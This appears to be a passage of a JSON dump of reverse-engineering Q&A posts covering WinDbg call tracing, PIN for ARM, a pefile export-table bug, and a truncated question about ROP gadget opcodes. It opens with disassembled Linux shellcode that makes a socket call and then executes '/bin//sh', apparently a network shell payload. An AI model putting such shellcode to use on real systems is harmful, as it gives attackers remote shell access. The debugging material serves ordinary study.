     push   %eax\n 804807b:       51                      push   %ecx\n 804807c:       53                      push   %ebx\n 804807d:       b3 03                   mov    $0x3,%bl\n 804807f:       89 e1                   mov    %esp,%ecx\n 8048081:       cd 80                   int    $0x80\n 8048083:       52                      push   %edx\n 8048084:       68 2f 2f 73 68          push   $0x68732f2f\n 8048089:       68 2f 62 69 6e          push   $0x6e69622f\n 804808e:       89 e3                   mov    %esp,%ebx\n 8048090:       52                      push   %edx\n 8048091:       53                      push   %ebx\n 8048092:       89 e1                   mov    %esp,%ecx\n 8048094:       b0 0b                   mov    $0xb,%al\n 8048096:       cd 80                   int    $0x80\n
\n" }, { "Id": "6603", "CreationDate": "2014-11-06T21:38:47.757", "Body": "

I have a binary and I'm interested in an high level overview of how it operates. I was trying to generate a list of functions called during a particular execution, with their hierarchy, for example

\n\n
f1 . f2                . f1 . f2\n        . f3 . f4                . f6\n                  . f5\n
\n\n

which would mean that something like this is happening in that particular execution:

\n\n
main {\n  f1();\n  f2();\n  f1();\n  f2();\n}\n\nf2 {\n  if(something) {\n    f3();\n    f4();\n  }\n  else {\n    f6();\n  }\n}\n\nf4 {\n  f5();\n}\n
\n\n

This should make it easier to find the functions I'm interested in, and how they work at an high level. I could compare the flow between different executions where I do or don't do some things which should also help me.

\n\n

How would I go about doing it? What tools can I use? I'm 100% new to reverse engineering, I've been searching all day and I'm starting to feel like it doesn't actually make sense since it seems something pretty basic but I can't find any result.

\n", "Title": "Finding execution flow/calls to functions?", "Tags": "|debugging|dynamic-analysis|", "Answer": "

you can use windbg wt (watch and trace function to generate an execution flow)

\n\n

the demo below is for the code in your query compiled in debug mode (to ensure function calls exist and not optimised away by a simple substitution)

\n\n

code used for example compiled in msvcpp2ktenexp debug

\n\n
    int  glob   = 0;\n    void f1(int a)  { printf(\"%d \",a); glob++;}\n    void f3(int a)  { printf(\"F3 %d \",a);}\n    void f5(int a)  { printf(\"F5 %d \",a);}\n    void f6(int a)  { printf(\"%d \",a);}\n    void f4(int a)  { f5(5);}\n    void f2(int a)  { if(glob == 8) { f3(3); f4(4); } else { f6(6); } }\n    void main()     { rndrob:f1(1);f2(2);f1(1);f2(2);if(glob<10){goto rndrob;} }\ndry run results \n>flowt.exe\n1 6 1 6 1 6 1 6 1 6 1 6 1 6 1 F3 3 F5 5 1 6 1 6\n
\n\n

windbg wt results for module flowt function main() edited to remove fluff\nstatistics at the end shows printf() was called 21 times f3() f4() once etc etc

\n\n

:>cdb -c \"g main;wt -m flowt\" flowt.exe

\n\n
Tracing flowt!main to return address 00411bcf\n   59     0 [  0] flowt!main\n   62     0 [  1]   flowt!f1\n1    72     0 [  2]     MSVCR100D!printf\n   65    72 [  1]   flowt!f1\n   62   156 [  0] flowt!main\n   61     0 [  1]   flowt!f2\n   62     0 [  2]     flowt!f6\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n   61     0 [  1]   flowt!f2\n   62     0 [  2]     flowt!f3\nF3 3    72     0 [  3]       MSVCR100D!printf\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n   64   153 [  1]   flowt!f2\n    62     0 [  3]       flowt!f5\nF5 5    72     0 [  4]         MSVCR100D!printf\n   65    72 [  3]       flowt!f5\n  141  4073 [  0] flowt!main\n\n4214 instructions were executed in 4213 events (0 from other threads)\nFunction Name                               Invocations MinInst MaxInst AvgInst\nMSVCR100D!printf                                     21      72      72      72\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\nflowt!f1                                             10      77      77      77\nflowt!f2                                             10      71      75      71\nflowt!f3                                              1      74      74      74\nflowt!f4                                              1      69      69      69\nflowt!f5                                              1      74      74      74\nflowt!f6                                              9      74      74      74\nflowt!main                                            1     141     141     141\n
\n\n

Answer to Comment

\n\n

If you had followed the logic exactly calc.exe will keep on outputting
\nthe calls in MessageLoop Forever until you close calc.exe

\n\n

windbg calc.exe
\ng calc!WinMain

\n\n

This is to go to start of Winmain Function (wt traces and watches a single Function Call and its childcalls N deep so to use wt you need to be on the start of any Function you wish to trace g Winmain Ensures you are on the start of Function WinMain

\n\n

now do

\n\n

wt -m calc

\n\n

this will loop forever logging all the sub calls inside calc!WinMain

\n\n

below is a fine grained example for calc.exe

\n\n

DoOperation is a Function in calc.exe that does all the operations
\nthe output below shows how to watch and trace that function a single time it is called

\n\n

g calc!DoOperation breaks when DoOperation is called
\nwt traces the DoOperation for one time (will trace one bracket open \nif you do 3+5 and hit = it will stop tracing it will also \nstop tracing if you do 3+5 * because *
\n(multiplication finishes the first operation viz addition )

\n\n

and will print the results\ng;q is required to tell we need to continue executing after wt and quit debugging when calc.exe is closed

\n\n
>cdb -c \"g calc!DoOperation; wt -m calc ;g;q\" calc\n\n0:000> cdb: Reading initial command 'g calc!DoOperation; wt -m calc ;g;q'\n\nTracing calc!DoOperation to return address 010035a0\n    2     0 [  0] calc!DoOperation\n   10     0 [  1]   calc!_EH_prolog\n   20    10 [  0] calc!DoOperation\n   12     0 [  1]   calc!addrat\n   52     0 [  2]     calc!equnum\n   36    52 [  1]   calc!addrat\n   19     0 [  2]     calc!addnum\n   30     0 [  3]       calc!_addnum\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n  112    37 [  3]       calc!_addnum\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n  118    57 [  3]       calc!_addnum\n   23   175 [  2]     calc!addnum\n   41   250 [  1]   calc!addrat\n   28   301 [  0] calc!DoOperation\n\n329 instructions were executed in 328 events (0 from other threads)\n\nFunction Name                               Invocations MinInst MaxInst AvgInst\ncalc!DoOperation                                      1      28      28      28\ncalc!_EH_prolog                                       1      10      10      10\ncalc!_addnum                                          1     118     118     118\ncalc!_createnum                                       1      12      12      12\ncalc!_destroynum                                      1       3       3       3\ncalc!addnum                                           1      23      23      23\ncalc!addrat                                           1      41      41      41\ncalc!equnum                                           1      52      52      52\nkernel32!LocalAlloc                                   1      25      25      25\nkernel32!LocalFree                                    1      17      17      17\n\n0 system calls were executed\n\nquit:\n
\n\n

if you find escaping quotes a bit annoying and would like to keep on tracing DoOperation several times put these commands in a text file say foo.txt and run the script with

\n\n
cdb -c \"$$>a< c:\\foo.txt\"  calc\n
\n\n

contents of foo.txt

\n\n
bp calc!DoOperation \"bp /1 @$ra \\\"g\\\";wt -m calc\"\ng;\n
\n\n

this sets a one shot breakpoint on the return address of DoOperation() and issues a go to tell windbg to keep on executing the target after tracing and returning from the Function DoOperation() in calc.exe

\n\n

output below contains an addition and LeftShift operation trace in calc.exe

\n\n

>cdb -c \"$$>a< c:\\foo.txt\" calc

\n\n
0:000> cdb: Reading initial command '$$>a< c:\\foo.txt'\nAddition operation \n\nTracing calc!DoOperation to return address 010035a0\n    2     0 [  0] calc!DoOperation\n   10     0 [  1]   calc!_EH_prolog\n   18    10 [  0] calc!DoOperation\n    6     0 [  1]   calc!mulrat\n   14     0 [  2]     calc!zernum\n   12    14 [  1]   calc!mulrat\n   22     0 [  2]     calc!mulnumx\n   19     0 [  3]       calc!_mulnumx\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n  127    37 [  3]       calc!_mulnumx\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n  133    57 [  3]       calc!_mulnumx\n   27   190 [  2]     calc!mulnumx\n   17   231 [  1]   calc!mulrat\n   24     0 [  2]     calc!mulnumx\n   19   255 [  1]   calc!mulrat\n   36     0 [  2]     calc!trimit\n   23   291 [  1]   calc!mulrat\n   26   324 [  0] calc!DoOperation\n\n350 instructions were executed in 349 events (0 from other threads)\n\nleft shift operation\n\nTracing calc!DoOperation to return address 010035a0\n    2     0 [  0] calc!DoOperation\n   10     0 [  1]   calc!_EH_prolog\n   26    10 [  0] calc!DoOperation\n    6     0 [  1]   calc!_destroyrat\n   28    16 [  0] calc!DoOperation\n    4     0 [  1]   calc!_createrat\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createrat\n   32    53 [  0] calc!DoOperation\n    3     0 [  1]   calc!_destroynum\n   39    56 [  0] calc!DoOperation\n    6     0 [  1]   calc!_createnum\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createnum\n   59    93 [  0] calc!DoOperation\n    3     0 [  1]   calc!_destroynum\n   65    96 [  0] calc!DoOperation\n    6     0 [  1]   calc!_createnum\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createnum\n   84   133 [  0] calc!DoOperation\n    6     0 [  1]   calc!_destroyrat\n    3     0 [  2]     calc!_destroynum\n   17     0 [  2]     kernel32!LocalFree\n    9    20 [  1]   calc!_destroyrat\n    3     0 [  2]     calc!_destroynum\n   17     0 [  2]     kernel32!LocalFree\n   12    40 [  1]   calc!_destroyrat\n   17     0 [  2]     kernel32!LocalFree\n   14    57 [  1]   calc!_destroyrat\n   86   204 [  0] calc!DoOperation\n    4     0 [  1]   calc!_createrat\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createrat\n   89   241 [  0] calc!DoOperation\n    3     0 [  1]   calc!_destroynum\n   95   244 [  0] calc!DoOperation\n    6     0 [  1]   calc!_createnum\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createnum\n  114   281 [  0] calc!DoOperation\n    3     0 [  1]   calc!_destroynum\n  120   284 [  0] calc!DoOperation\n    6     0 [  1]   calc!_createnum\n   25     0 [  2]     kernel32!LocalAlloc\n   12    25 [  1]   calc!_createnum\n  139   321 [  0] calc!DoOperation\n    8     0 [  1]   calc!lshrat\n   11     0 [  2]     calc!intrat\n   14     0 [  3]       calc!zernum\n   17    14 [  2]     calc!intrat\n   52     0 [  3]       calc!equnum\n   23    66 [  2]     calc!intrat\n   11    89 [  1]   calc!lshrat\n   14     0 [  2]     calc!zernum\n   16   103 [  1]   calc!lshrat\n   10     0 [  2]     calc!rat_gt\n    6     0 [  3]       calc!_destroyrat\n   12     6 [  2]     calc!rat_gt\n    4     0 [  3]       calc!_createrat\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createrat\n   15    43 [  2]     calc!rat_gt\n    3     0 [  3]       calc!_destroynum\n   21    46 [  2]     calc!rat_gt\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n   40    83 [  2]     calc!rat_gt\n    3     0 [  3]       calc!_destroynum\n   45    86 [  2]     calc!rat_gt\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n   69   123 [  2]     calc!rat_gt\n   12     0 [  3]       calc!addrat\n   52     0 [  4]         calc!equnum\n   36    52 [  3]       calc!addrat\n   19     0 [  4]         calc!addnum\n   30     0 [  5]           calc!_addnum\n    6     0 [  6]             calc!_createnum\n   25     0 [  7]               kernel32!LocalAlloc\n   12    25 [  6]             calc!_createnum\n  142    37 [  5]           calc!_addnum\n    3     0 [  6]             calc!_destroynum\n   17     0 [  6]             kernel32!LocalFree\n  148    57 [  5]           calc!_addnum\n   23   205 [  4]         calc!addnum\n   41   280 [  3]       calc!addrat\n   74   444 [  2]     calc!rat_gt\n   14     0 [  3]       calc!zernum\n   88   458 [  2]     calc!rat_gt\n    6     0 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n    9    20 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n   12    40 [  3]       calc!_destroyrat\n   17     0 [  4]         kernel32!LocalFree\n   14    57 [  3]       calc!_destroyrat\n   94   529 [  2]     calc!rat_gt\n   21   726 [  1]   calc!lshrat\n   12     0 [  2]     calc!rattolong\n   10     0 [  3]       calc!rat_gt\n    6     0 [  4]         calc!_destroyrat\n   12     6 [  3]       calc!rat_gt\n    4     0 [  4]         calc!_createrat\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createrat\n   15    43 [  3]       calc!rat_gt\n    3     0 [  4]         calc!_destroynum\n   21    46 [  3]       calc!rat_gt\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   40    83 [  3]       calc!rat_gt\n    3     0 [  4]         calc!_destroynum\n   45    86 [  3]       calc!rat_gt\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   69   123 [  3]       calc!rat_gt\n   12     0 [  4]         calc!addrat\n   52     0 [  5]           calc!equnum\n   36    52 [  4]         calc!addrat\n   17     0 [  5]           calc!addnum\n   30     0 [  6]             calc!_addnum\n    6     0 [  7]               calc!_createnum\n   25     0 [  8]                 kernel32!LocalAlloc\n   12    25 [  7]               calc!_createnum\n  199    37 [  6]             calc!_addnum\n    3     0 [  7]               calc!_destroynum\n   17     0 [  7]               kernel32!LocalFree\n  205    57 [  6]             calc!_addnum\n   21   262 [  5]           calc!addnum\n   41   335 [  4]         calc!addrat\n   74   499 [  3]       calc!rat_gt\n   14     0 [  4]         calc!zernum\n   88   513 [  3]       calc!rat_gt\n    6     0 [  4]         calc!_destroyrat\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n    9    20 [  4]         calc!_destroyrat\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n   12    40 [  4]         calc!_destroyrat\n   17     0 [  5]           kernel32!LocalFree\n   14    57 [  4]         calc!_destroyrat\n   94   584 [  3]       calc!rat_gt\n   17   678 [  2]     calc!rattolong\n   10     0 [  3]       calc!rat_lt\n    6     0 [  4]         calc!_destroyrat\n   12     6 [  3]       calc!rat_lt\n    4     0 [  4]         calc!_createrat\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createrat\n   15    43 [  3]       calc!rat_lt\n    3     0 [  4]         calc!_destroynum\n   21    46 [  3]       calc!rat_lt\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   40    83 [  3]       calc!rat_lt\n    3     0 [  4]         calc!_destroynum\n   45    86 [  3]       calc!rat_lt\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   69   123 [  3]       calc!rat_lt\n   12     0 [  4]         calc!addrat\n   52     0 [  5]           calc!equnum\n   36    52 [  4]         calc!addrat\n   17     0 [  5]           calc!addnum\n   30     0 [  6]             calc!_addnum\n    6     0 [  7]               calc!_createnum\n   25     0 [  8]                 kernel32!LocalAlloc\n   12    25 [  7]               calc!_createnum\n  157    37 [  6]             calc!_addnum\n    3     0 [  7]               calc!_destroynum\n   17     0 [  7]               kernel32!LocalFree\n  163    57 [  6]             calc!_addnum\n   21   220 [  5]           calc!addnum\n   41   293 [  4]         calc!addrat\n   74   457 [  3]       calc!rat_lt\n   14     0 [  4]         calc!zernum\n   86   471 [  3]       calc!rat_lt\n    6     0 [  4]         calc!_destroyrat\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n    9    20 [  4]         calc!_destroyrat\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n   12    40 [  4]         calc!_destroyrat\n   17     0 [  5]           kernel32!LocalFree\n   14    57 [  4]         calc!_destroyrat\n   92   542 [  3]       calc!rat_lt\n   21  1312 [  2]     calc!rattolong\n    6     0 [  3]       calc!_destroyrat\n   23  1318 [  2]     calc!rattolong\n    4     0 [  3]       calc!_createrat\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createrat\n   26  1355 [  2]     calc!rattolong\n    3     0 [  3]       calc!_destroynum\n   31  1358 [  2]     calc!rattolong\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n   50  1395 [  2]     calc!rattolong\n    3     0 [  3]       calc!_destroynum\n   55  1398 [  2]     calc!rattolong\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n   75  1435 [  2]     calc!rattolong\n   11     0 [  3]       calc!intrat\n   14     0 [  4]         calc!zernum\n   17    14 [  3]       calc!intrat\n   52     0 [  4]         calc!equnum\n   23    66 [  3]       calc!intrat\n   79  1524 [  2]     calc!rattolong\n   24     0 [  3]       calc!divnumx\n   82  1548 [  2]     calc!rattolong\n    3     0 [  3]       calc!_destroynum\n   17     0 [  3]       kernel32!LocalFree\n   87  1568 [  2]     calc!rattolong\n    6     0 [  3]       calc!_createnum\n   25     0 [  4]         kernel32!LocalAlloc\n   12    25 [  3]       calc!_createnum\n  107  1605 [  2]     calc!rattolong\n   28     0 [  3]       calc!numtolong\n  110  1633 [  2]     calc!rattolong\n    6     0 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n    9    20 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n   12    40 [  3]       calc!_destroyrat\n   17     0 [  4]         kernel32!LocalFree\n   14    57 [  3]       calc!_destroyrat\n  116  1704 [  2]     calc!rattolong\n   24  2546 [  1]   calc!lshrat\n    6     0 [  2]     calc!_destroyrat\n   26  2552 [  1]   calc!lshrat\n    4     0 [  2]     calc!_createrat\n   25     0 [  3]       kernel32!LocalAlloc\n   12    25 [  2]     calc!_createrat\n   29  2589 [  1]   calc!lshrat\n    3     0 [  2]     calc!_destroynum\n   35  2592 [  1]   calc!lshrat\n    6     0 [  2]     calc!_createnum\n   25     0 [  3]       kernel32!LocalAlloc\n   12    25 [  2]     calc!_createnum\n   55  2629 [  1]   calc!lshrat\n    3     0 [  2]     calc!_destroynum\n   61  2632 [  1]   calc!lshrat\n    6     0 [  2]     calc!_createnum\n   25     0 [  3]       kernel32!LocalAlloc\n   12    25 [  2]     calc!_createnum\n   82  2669 [  1]   calc!lshrat\n   10     0 [  2]     calc!ratpowlong\n    3     0 [  3]       calc!longtorat\n    4     0 [  4]         calc!_createrat\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createrat\n    8    37 [  3]       calc!longtorat\n    3     0 [  4]         calc!longtonum\n    6     0 [  5]           calc!_createnum\n   25     0 [  6]             kernel32!LocalAlloc\n   12    25 [  5]           calc!_createnum\n   21    37 [  4]         calc!longtonum\n   12    95 [  3]       calc!longtorat\n    3     0 [  4]         calc!longtonum\n    6     0 [  5]           calc!_createnum\n   25     0 [  6]             kernel32!LocalAlloc\n   12    25 [  5]           calc!_createnum\n   21    37 [  4]         calc!longtonum\n   17   153 [  3]       calc!longtorat\n   21   170 [  2]     calc!ratpowlong\n   25     0 [  3]       calc!mulnumx\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n   28    20 [  3]       calc!mulnumx\n    6     0 [  4]         calc!_createnum\n   25     0 [  5]           kernel32!LocalAlloc\n   12    25 [  4]         calc!_createnum\n   51    57 [  3]       calc!mulnumx\n   27   278 [  2]     calc!ratpowlong\n   24     0 [  3]       calc!mulnumx\n   30   302 [  2]     calc!ratpowlong\n    6     0 [  3]       calc!mulrat\n   14     0 [  4]         calc!zernum\n   12    14 [  3]       calc!mulrat\n   22     0 [  4]         calc!mulnumx\n   19     0 [  5]           calc!_mulnumx\n    6     0 [  6]             calc!_createnum\n   25     0 [  7]               kernel32!LocalAlloc\n   12    25 [  6]             calc!_createnum\n  127    37 [  5]           calc!_mulnumx\n    3     0 [  6]             calc!_destroynum\n   17     0 [  6]             kernel32!LocalFree\n  133    57 [  5]           calc!_mulnumx\n   27   190 [  4]         calc!mulnumx\n   17   231 [  3]       calc!mulrat\n   24     0 [  4]         calc!mulnumx\n   19   255 [  3]       calc!mulrat\n   36     0 [  4]         calc!trimit\n   23   291 [  3]       calc!mulrat\n   33   616 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   35   652 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   43   688 [  2]     calc!ratpowlong\n    6     0 [  3]       calc!mulrat\n   14     0 [  4]         calc!zernum\n   12    14 [  3]       calc!mulrat\n   22     0 [  4]         calc!mulnumx\n   19     0 [  5]           calc!_mulnumx\n    6     0 [  6]             calc!_createnum\n   25     0 [  7]               kernel32!LocalAlloc\n   12    25 [  6]             calc!_createnum\n  127    37 [  5]           calc!_mulnumx\n    3     0 [  6]             calc!_destroynum\n   17     0 [  6]             kernel32!LocalFree\n  133    57 [  5]           calc!_mulnumx\n   27   190 [  4]         calc!mulnumx\n   17   231 [  3]       calc!mulrat\n   24     0 [  4]         calc!mulnumx\n   19   255 [  3]       calc!mulrat\n   36     0 [  4]         calc!trimit\n   23   291 [  3]       calc!mulrat\n   46  1002 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   48  1038 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   57  1074 [  2]     calc!ratpowlong\n   22     0 [  3]       calc!mulnumx\n   19     0 [  4]         calc!_mulnumx\n    6     0 [  5]           calc!_createnum\n   25     0 [  6]             kernel32!LocalAlloc\n   12    25 [  5]           calc!_createnum\n  127    37 [  4]         calc!_mulnumx\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n  133    57 [  4]         calc!_mulnumx\n   27   190 [  3]       calc!mulnumx\n   63  1291 [  2]     calc!ratpowlong\n   24     0 [  3]       calc!mulnumx\n   66  1315 [  2]     calc!ratpowlong\n    6     0 [  3]       calc!mulrat\n   14     0 [  4]         calc!zernum\n   12    14 [  3]       calc!mulrat\n   22     0 [  4]         calc!mulnumx\n   19     0 [  5]           calc!_mulnumx\n    6     0 [  6]             calc!_createnum\n   25     0 [  7]               kernel32!LocalAlloc\n   12    25 [  6]             calc!_createnum\n  127    37 [  5]           calc!_mulnumx\n    3     0 [  6]             calc!_destroynum\n   17     0 [  6]             kernel32!LocalFree\n  133    57 [  5]           calc!_mulnumx\n   27   190 [  4]         calc!mulnumx\n   17   231 [  3]       calc!mulrat\n   24     0 [  4]         calc!mulnumx\n   19   255 [  3]       calc!mulrat\n   36     0 [  4]         calc!trimit\n   23   291 [  3]       calc!mulrat\n   69  1629 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   71  1665 [  2]     calc!ratpowlong\n   36     0 [  3]       calc!trimit\n   76  1701 [  2]     calc!ratpowlong\n    6     0 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n    9    20 [  3]       calc!_destroyrat\n    3     0 [  4]         calc!_destroynum\n   17     0 [  4]         kernel32!LocalFree\n   12    40 [  3]       calc!_destroyrat\n   17     0 [  4]         kernel32!LocalFree\n   14    57 [  3]       calc!_destroyrat\n   82  1772 [  2]     calc!ratpowlong\n   85  4523 [  1]   calc!lshrat\n    6     0 [  2]     calc!mulrat\n   14     0 [  3]       calc!zernum\n   12    14 [  2]     calc!mulrat\n   22     0 [  3]       calc!mulnumx\n   19     0 [  4]         calc!_mulnumx\n    6     0 [  5]           calc!_createnum\n   25     0 [  6]             kernel32!LocalAlloc\n   12    25 [  5]           calc!_createnum\n  127    37 [  4]         calc!_mulnumx\n    3     0 [  5]           calc!_destroynum\n   17     0 [  5]           kernel32!LocalFree\n  133    57 [  4]         calc!_mulnumx\n   27   190 [  3]       calc!mulnumx\n   17   231 [  2]     calc!mulrat\n   24     0 [  3]       calc!mulnumx\n   19   255 [  2]     calc!mulrat\n   36     0 [  3]       calc!trimit\n   23   291 [  2]     calc!mulrat\n   87  4837 [  1]   calc!lshrat\n    6     0 [  2]     calc!_destroyrat\n    3     0 [  3]       calc!_destroynum\n   17     0 [  3]       kernel32!LocalFree\n    9    20 [  2]     calc!_destroyrat\n    3     0 [  3]       calc!_destroynum\n   17     0 [  3]       kernel32!LocalFree\n   12    40 [  2]     calc!_destroyrat\n   17     0 [  3]       kernel32!LocalFree\n   14    57 [  2]     calc!_destroyrat\n   91  4908 [  1]   calc!lshrat\n  144  5320 [  0] calc!DoOperation\n    6     0 [  1]   calc!_destroyrat\n    3     0 [  2]     calc!_destroynum\n   17     0 [  2]     kernel32!LocalFree\n    9    20 [  1]   calc!_destroyrat\n    3     0 [  2]     calc!_destroynum\n   17     0 [  2]     kernel32!LocalFree\n   12    40 [  1]   calc!_destroyrat\n   17     0 [  2]     kernel32!LocalFree\n   14    57 [  1]   calc!_destroyrat\n  153  5391 [  0] calc!DoOperation\n\n5544 instructions were executed in 5543 events (0 from other threads)\n\nFunction Name                               Invocations MinInst MaxInst AvgInst\ncalc!DoOperation                                      1     153     153     153\ncalc!_EH_prolog                                       1      10      10      10\ncalc!_addnum                                          3     148     205     172\ncalc!_createnum                                      26      12      12      12\ncalc!_createrat                                       8      12      12      12\ncalc!_destroynum                                     40       3       3       3\ncalc!_destroyrat                                     14       6      14      10\ncalc!_mulnumx                                         5     133     133     133\ncalc!addnum                                           3      21      23      21\ncalc!addrat                                           3      41      41      41\ncalc!divnumx                                          1      24      24      24\ncalc!equnum                                           5      52      52      52\ncalc!intrat                                           2      23      23      23\ncalc!longtonum                                        2      21      21      21\ncalc!longtorat                                        1      17      17      17\ncalc!lshrat                                           1      91      91      91\ncalc!mulnumx                                         12      24      51      27\ncalc!mulrat                                           4      23      23      23\ncalc!numtolong                                        1      28      28      28\ncalc!rat_gt                                           2      94      94      94\ncalc!rat_lt                                           1      92      92      92\ncalc!ratpowlong                                       1      82      82      82\ncalc!rattolong                                        1     116     116     116\ncalc!trimit                                          10      36      36      36\ncalc!zernum                                          10      14      14      14\nkernel32!LocalAlloc                                  34      25      25      25\nkernel32!LocalFree                                   34      17      17      17\n\n0 system calls were executed\n\neax=00000000 ebx=00000000 ecx=7c800000 edx=7c97e120 esi=7c90de6e edi=00000000\neip=7c90e514 esp=0007fde8 ebp=0007fee4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nntdll!KiFastSystemCallRet:\n7c90e514 c3              ret\n0:000> q\nquit:\n
\n" }, { "Id": "6612", "CreationDate": "2014-11-08T23:24:59.000", "Body": "

While looking around for \"PIN for ARM\" I came across this. However, I don't seem to be able to locate it. Is it even made publicly available? Has anyone used this or anything similar?

\n", "Title": "has anyone used PIN for ARM", "Tags": "|arm|", "Answer": "

It used to be available at https://software.intel.com/en-us/articles/pintool-downloads, but it looks like Intel pulled it between the summer and winter of 2012.

\n\n

It's still available via the Internet Archive Wayback Machine though, at https://web.archive.org/web/20120618005139/http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.0-5567-gcc.3.3.1-softfp-arm-linux.tar.gz

\n" }, { "Id": "6634", "CreationDate": "2014-11-14T20:02:54.693", "Body": "

I've been reverse engineering a PE executable and I came across a behavior that I can't understand. The executable uses both shell32.dll and profapi.dll. I see that shell32.dll delay loads a function in profapi.dll using an ordinal value (I verified this by looking at the delay load import table of shell32.dll). However, profapi.dll does not export any functions as it doesn't even have an export table. I'm examining the delay import and export sections of these DLLs using the Python library pefile. I'm using profapi.dll version 6.1.7600.16385 (as reported by the file properties) on Windows 7.

\n\n

From what I understand, to load a function by ordinal or name from profapi.dll, you still need access to profapi.dll's export table. Is there another way through which profapi.dll could expose the addresses of its functions, or am I missing something?

\n\n

EDIT: It looks like it was an issue with pefile parsing the DLL. I was indeed able to examine the export section using IDApro. I am leaving the question up to highlight what looks like a potential bug in pefile. I am using pefile version 1.2.10-139.

\n", "Title": "Delay imported function not in export table", "Tags": "|dll|pe|", "Answer": "

profapi.dll should certainly have an Export Table. For example, here's the Export Table from profapi.dll version 6.3.9600.16384:

\n\n
There is an export table in .text at 0x10001000\n\nThe Export Tables (interpreted .text section contents)\n\nExport Flags                    0\nTime/Date stamp                 52157da7\nMajor/Minor                     0/0\nName                            00001060 profapi.dll\nOrdinal Base                    101\nNumber in:\n        Export Address Table            0000000e\n        [Name Pointer/Ordinal] Table    00000000\nTable Addresses\n        Export Address Table            00001028\n        Name Pointer Table              00000000\n        Ordinal Table                   00000000\n\nExport Address Table -- Ordinal Base 101\n        [   0] +base[ 101] 2b24 Export RVA\n        [   1] +base[ 102] 25c2 Export RVA\n        [   2] +base[ 103] 3cd9 Export RVA\n        [   3] +base[ 104] 1089 Export RVA\n        [   4] +base[ 105] 4a8b Export RVA\n        [   5] +base[ 106] 49b2 Export RVA\n        [   6] +base[ 107] 42ae Export RVA\n        [   7] +base[ 108] 4643 Export RVA\n        [   8] +base[ 109] 45ce Export RVA\n        [   9] +base[ 110] 4592 Export RVA\n        [  10] +base[ 111] 3dc3 Export RVA\n        [  11] +base[ 112] 4318 Export RVA\n        [  12] +base[ 113] 428d Export RVA\n        [  13] +base[ 114] 3bcd Export RVA\n
\n\n

I just checked version 6.1.7600.16385 from Windows 7 and confirmed that it too has an Export Table, from which it exports 6 functions by ordinal. If the Python library you're using isn't seeing these functions then it's due to a bug in the Python library (or potentially your usage of it).

\n\n

For what it's worth, this is a known issue in older versions of the pefile library and was fixed about a year ago. Perhaps you're using an outdated version?

\n" }, { "Id": "6637", "CreationDate": "2014-11-15T04:04:16.210", "Body": "

I am working on an assignment to perform an exploit using a rop chain.\nWhile I understand the basics behind rop, I don't know how to convert instructions like

\n\n
xchg eax, esp; retn;\n
\n\n

to their opcodes.

\n\n

I tried using:

\n\n
